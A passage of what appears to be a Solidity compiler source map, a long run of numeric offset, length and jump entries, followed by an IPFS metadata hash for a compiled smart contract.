3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5232:251::-;5302:6;5355:2;5343:9;5334:7;5330:23;5326:32;5323:52;;;5371:1;5368;5361:12;5323:52;5403:9;5397:16;5422:31;5447:5;5422:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9393:128;9460:9;;;9481:11;;;9478:37;;;9495:18;;:::i;9526:125::-;9591:9;;;9612:10;;;9609:36;;;9625:18;;:::i;10365:135::-;10404:3;10425:17;;;10422:43;;10445:18;;:::i;:::-;-1:-1:-1;10492:1:1;10481:13;;10365:135::o;10505:217::-;10545:1;10571;10561:132;;10615:10;10610:3;10606:20;10603:1;10596:31;10650:4;10647:1;10640:15;10678:4;10675:1;10668:15;10561:132;-1:-1:-1;10707:9:1;;10505:217::o;11261:127::-;11322:10;11317:3;11313:20;11310:1;11303:31;11353:4;11350:1;11343:15;11377:4;11374:1;11367:15;11393:959;11655:4;11703:3;11692:9;11688:19;11734:6;11723:9;11716:25;11777:6;11772:2;11761:9;11757:18;11750:34;11820:3;11815:2;11804:9;11800:18;11793:31;11844:6;11879;11873:13;11910:6;11902;11895:22;11948:3;11937:9;11933:19;11926:26;;11987:2;11979:6;11975:15;11961:29;;12008:1;12018:195;12032:6;12029:1;12026:13;12018:195;;;12097:13;;-1:-1:-1;;;;;12093:39:1;12081:52;;12162:2;12188:15;;;;12153:12;;;;12129:1;12047:9;12018:195;;;-1:-1:-1;;;;;;;12269:32:1;;;;12264:2;12249:18;;12242:60;-1:-1:-1;;12333:3:1;12318:19;12311:35;12230:3;11393:959;-1:-1:-1;;;11393:959:1:o

ipfs://6bc3f6f568da0f351c91c820575933d7d16c8772b021d743e8316469e8495a1f